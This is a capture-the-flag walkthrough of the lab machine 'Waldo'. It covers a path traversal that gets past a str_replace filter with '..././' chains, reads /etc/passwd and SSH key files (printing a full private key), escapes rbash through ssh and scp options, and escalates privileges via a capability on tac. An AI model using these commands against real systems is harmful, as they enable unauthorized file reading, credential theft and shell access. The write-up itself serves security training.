Description
Name: Waldo
IP: 10.10.10.87
Author: strawman
Difficulty: 4/10
Discovery nmap -sV -sC -Pn -p 1-65535 -T5 10.10.10.87
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-05 14:17 CEST Warning: 10.10.10.87 giving up on port because retransmission cap hit (3). Nmap scan report for 10.10.10.87 Host is up (0.19s latency). Not shown: 65531 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.5 (protocol 2.0) | ssh-hostkey: | 2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA) | 256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA) |_ 256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519) 80/tcp open http nginx 1.12.2 |_http-server-header: nginx/1.12.2 | http-title: List Manager |_Requested resource was /list.html |_http-trane-info: Problem with XML parsing of /evox/about 5355/tcp filtered llmnr 8888/tcp filtered sun-answerbook
Pwn
The web application lets insert lists with elements and display them.
The source code of all requests and managing of the web app is in list.js
.
We can now list all requests to all PHP files.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 function writeList (listNum, data ) { var xhttp = new XMLHttpRequest(); xhttp.open("POST" , "fileWrite.php" , false ); xhttp.setRequestHeader("Content-type" , "application/x-www-form-urlencoded" ); xhttp.send("listnum=" + listNum + "&data=" + data); if (xhttp.readyState === 4 && xhttp.status === 200 ) { return xhttp.responseText; } else { } } function deleteList (listNum ) { var xhttp = new XMLHttpRequest(); xhttp.open("POST" , "fileDelete.php" , false ); xhttp.setRequestHeader("Content-type" , "application/x-www-form-urlencoded" ); xhttp.send("listnum=" + listNum); if (xhttp.readyState === 4 && xhttp.status === 200 ) { listLists(); return xhttp.responseText; } else { } } function readDir (path ) { var xhttp = new XMLHttpRequest(); xhttp.open("POST" , "dirRead.php" , false ); xhttp.setRequestHeader("Content-type" , "application/x-www-form-urlencoded" ); xhttp.send("path=" + path); if (xhttp.readyState === 4 && xhttp.status === 200 ) { return xhttp.responseText; } else { } } function readFile (file ) { var xhttp = new XMLHttpRequest(); xhttp.open("POST" , "fileRead.php" , false ); xhttp.setRequestHeader("Content-type" , "application/x-www-form-urlencoded" ); xhttp.send("file=" + file); if (xhttp.readyState === 4 && xhttp.status === 200 ) { return xhttp.responseText; } else { } }
With Burpsuite the first request that we saw is a POST to /dirRead.php
:
1 2 3 4 5 6 7 8 9 10 11 POST /dirRead.php HTTP/1.1 Host: 10.10.10.87 Content-Length: 13 Origin: http://10.10.10.87 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36 Content-type: application/x-www-form-urlencoded Accept: */* Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 path=./.list/
changing the path
parameter to /
we can list all file readble from the web server (the root folder of the web server).
In .list
there are all lists added from the web view (no needs to dirbust :) ).
Using fileRead.php
we tried to read all PHP files:
http -f POST http://10.10.10.87/fileRead.php "file=./fileRead.php"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if ($_SERVER['REQUEST_METHOD' ] === "POST" ){ $fileContent['file' ] = false ; header('Content-Type: application/json' ); if (isset ($_POST['file' ])){ header('Content-Type: application/json' ); $_POST['file' ] = str_replace( array ("../" , "..\"" ), "" , $_POST['file' ]); if (strpos($_POST['file' ], "user.txt" ) === false ){ $file = fopen("/var/www/html/" . $_POST['file' ], "r" ); $fileContent['file' ] = fread($file,filesize($_POST['file' ])); fclose(); } } echo json_encode($fileContent); }
dirRead.php
1 2 3 4 5 6 7 8 9 10 if ($_SERVER['REQUEST_METHOD' ] === "POST" ){ if (isset ($_POST['path' ])){ header('Content-type: application/json' ); $_POST['path' ] = str_replace( array ("../" , "..\"" ), "" , $_POST['path' ]); echo json_encode(scandir("/var/www/html/" . $_POST['path' ])); }else { header('Content-type: application/json' ); echo '[false]' ; } }
fileDelete.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if ($_SERVER['REQUEST_METHOD' ] === "POST" ){ if (isset ($_POST['listnum' ])){ header('Content-Type: application/json' ); if (is_numeric($_POST['listnum' ])){ $myFile = "/var/www/html/.list/list" . $_POST['listnum' ]; unlink($myFile); header('Content-Type: application/json' ); echo '[true]' ; }else { header('Content-Type: application/json' ); echo '[false]' ; } }else { header('Content-Type: application/json' ); echo '[false]' ; } }
fileWrite.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if ($_SERVER['REQUEST_METHOD' ] === "POST" ){ header('Content-Type: application/json' ); $condition['result' ] = false ; if (isset ($_POST['listnum' ])){ if (is_numeric($_POST['listnum' ])){ $myFile = "/var/www/html/.list/list" . $_POST['listnum' ]; $handle = fopen($myFile, 'w' ); $data = $_POST['data' ]; fwrite($handle, $data); fclose(); $condition['result' ] = true ; } } echo json_encode($condition); }
Since we want to bypass all checks and run/save/read what we want we need to bypass the str_replace
function.
The str_replace
method could be bypassed using a simple trick from classic XSS cheat sheet:
1 str_replace(array ("..\"" , "../" ), "" , "..././ciao" );
the above statement will return ../ciao
.
With a simple script we can generate a long chain of prevdir with our file target.
1 2 3 4 5 6 7 target = "/etc/passwd" if target[0 ] == "/" : target = target[1 :] for i in range(15 ): target = "..././" + target print(target)
..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././etc/passwd
This long string will be evaulated as ../../../../../../../../../../../../../../../etc/passwd
. The long chain of ../
is need to get to the real /
.
With fileRead
we can execute our simple exploit.
And now we can try to read the user flag using the same method with dirRead
function
Since fileRead
will fail to read a file called user.txt
we tried to navigate the /home/nobody
to see if there are some interesting files:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 http -f POST http://10.10.10.87/dirRead.php "path=..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././home/nobody/.ssh/" HTTP/1.1 200 OK Connection : keep-aliveContent-Type : application/jsonDate : Sun, 05 Aug 2018 13:46:11 GMTServer : nginx/1.12.2Transfer-Encoding : chunkedX-Powered-By : PHP/7.1.16[ ".", "..", ".monitor", "authorized_keys", "known_hosts" ]
In .monitor
we got a SSH private key:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAs7sytDE++NHaWB9e+NN3V5t1DP1TYHc+4o8D362l5Nwf6Cpl mR4JH6n4Nccdm1ZU+qB77li8ZOvymBtIEY4Fm07X4Pqt4zeNBfqKWkOcyV1TLW6f 87s0FZBhYAizGrNNeLLhB1IZIjpDVJUbSXG6s2cxAle14cj+pnEiRTsyMiq1nJCS dGCc/gNpW/AANIN4vW9KslLqiAEDJfchY55sCJ5162Y9+I1xzqF8e9b12wVXirvN o8PLGnFJVw6SHhmPJsue9vjAIeH+n+5Xkbc8/6pceowqs9ujRkNzH9T1lJq4Fx1V vi93Daq3bZ3dhIIWaWafmqzg+jSThSWOIwR73wIDAQABAoIBADHwl/wdmuPEW6kU vmzhRU3gcjuzwBET0TNejbL/KxNWXr9B2I0dHWfg8Ijw1Lcu29nv8b+ehGp+bR/6 pKHMFp66350xylNSQishHIRMOSpydgQvst4kbCp5vbTTdgC7RZF+EqzYEQfDrKW5 8KUNptTmnWWLPYyJLsjMsrsN4bqyT3vrkTykJ9iGU2RrKGxrndCAC9exgruevj3q 1h+7o8kGEpmKnEOgUgEJrN69hxYHfbeJ0Wlll8Wort9yummox/05qoOBL4kQxUM7 VxI2Ywu46+QTzTMeOKJoyLCGLyxDkg5ONdfDPBW3w8O6UlVfkv467M3ZB5ye8GeS dVa3yLECgYEA7jk51MvUGSIFF6GkXsNb/w2cZGe9TiXBWUqWEEig0bmQQVx2ZWWO v0og0X/iROXAcp6Z9WGpIc6FhVgJd/4bNlTR+A/lWQwFt1b6l03xdsyaIyIWi9xr xsb2sLNWP56A/5TWTpOkfDbGCQrqHvukWSHlYFOzgQa0ZtMnV71ykH0CgYEAwSSY qFfdAWrvVZjp26Yf/jnZavLCAC5hmho7eX5isCVcX86MHqpEYAFCecZN2dFFoPqI yzHzgb9N6Z01YUEKqrknO3tA6JYJ9ojaMF8GZWvUtPzN41ksnD4MwETBEd4bUaH1 /pAcw/+/oYsh4BwkKnVHkNw36c+WmNoaX1FWqIsCgYBYw/IMnLa3drm3CIAa32iU LRotP4qGaAMXpncsMiPage6CrFVhiuoZ1SFNbv189q8zBm4PxQgklLOj8B33HDQ/ lnN2n1WyTIyEuGA/qMdkoPB+TuFf1A5EzzZ0uR5WLlWa5nbEaLdNoYtBK1P5n4Kp w7uYnRex6DGobt2mD+10cQKBgGVQlyune20k9QsHvZTU3e9z1RL+6LlDmztFC3G9 1HLmBkDTjjj/xAJAZuiOF4Rs/INnKJ6+QygKfApRxxCPF9NacLQJAZGAMxW50AqT rj1BhUCzZCUgQABtpC6vYj/HLLlzpiC05AIEhDdvToPK/0WuY64fds0VccAYmMDr X/PlAoGAS6UhbCm5TWZhtL/hdprOfar3QkXwZ5xvaykB90XgIps5CwUGCCsvwQf2 DvVny8gKbM/OenwHnTlwRTEj5qdeAM40oj/mwCDc6kpV1lJXrW2R5mCH9zgbNFla W0iKCBUAm5xZgU/YskMsCBMNmA8A5ndRWGFEFE+VGDVPaRie0ro= -----END RSA PRIVATE KEY-----
The key can let us SSH as nobody
user and read the first flag.
With LinEnum
we discovered that we are inside a docker container.
1 2 3 4 5 6 7 8 9 10 11 12 [+] Looks like we're in a Docker container: 10:memory:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd 9:blkio:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd 8:cpuset:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd 7:devices:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd 6:cpu,cpuacct:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd 5:freezer:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd 4:net_cls,net_prio:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd 3:pids:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd 2:perf_event:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd 1:name=systemd:/docker/16c6cae0786900838a54b9b3ce253ddd80c3ccdcea93e6c5444e2a8a5a1eaebd -rwxr-xr-x 1 root root 0 May 3 20:50 /.dockerenv
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 docker0 Link encap:Ethernet HWaddr 02:42:71:13:6D:D4 inet addr:172.17.0.1 Bcast:172.17.255.255 Mask:255.255.0.0 UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) ens33 Link encap:Ethernet HWaddr 00:50:56:B9:D4:C0 inet addr:10.10.10.87 Bcast:10.10.10.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:118881 errors:0 dropped:0 overruns:0 frame:0 TX packets:74983 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:14078287 (13.4 MiB) TX bytes:28416070 (27.0 MiB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:436630 errors:0 dropped:0 overruns:0 frame:0 TX packets:436630 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1 RX bytes:57524360 (54.8 MiB) TX bytes:57524360 (54.8 MiB)
With the same private key we can login as monitor
: ssh -i .ssh/.monitor monitor@127.0.0.1
but we got a rbash
shell.
Executing the SSH command as ssh -i .ssh/.monitor monitor@127.0.0.1 sh
the system will spawn a sh
shell in which we can run python and get a meterpreter shell.
Inside the our session we can run scp
and so read files and execute commands and bypass the rbash
shell:
scp -F /etc/passwd x y:
scp -S /usr/bin/id python -c 'import pty; pty.spawn("/bin/sh")'x y:
Or we can SSH with -t bash --noprofile --norc
to get a fully working non-restricted bash
shell.
Now that we have a free shell we can search in /home/monitor
something to privesc to root.
In the home directory we found a app-dev
folder with an ELF called logMonitor-0.1
that will read for us some log files in /var/log/
.
Since this executable needs to read files owned by root and unreadable for the user monitor
the creator/root of the machine granted some special permission on this file:
After a lot of wasted time search for literally anything and trying to setcap
all kind of files in the machine we search for others file with getcap
setted (source here ).
We found another file with the same rights: /usr/bin/tac
; with this program we can read the root flag.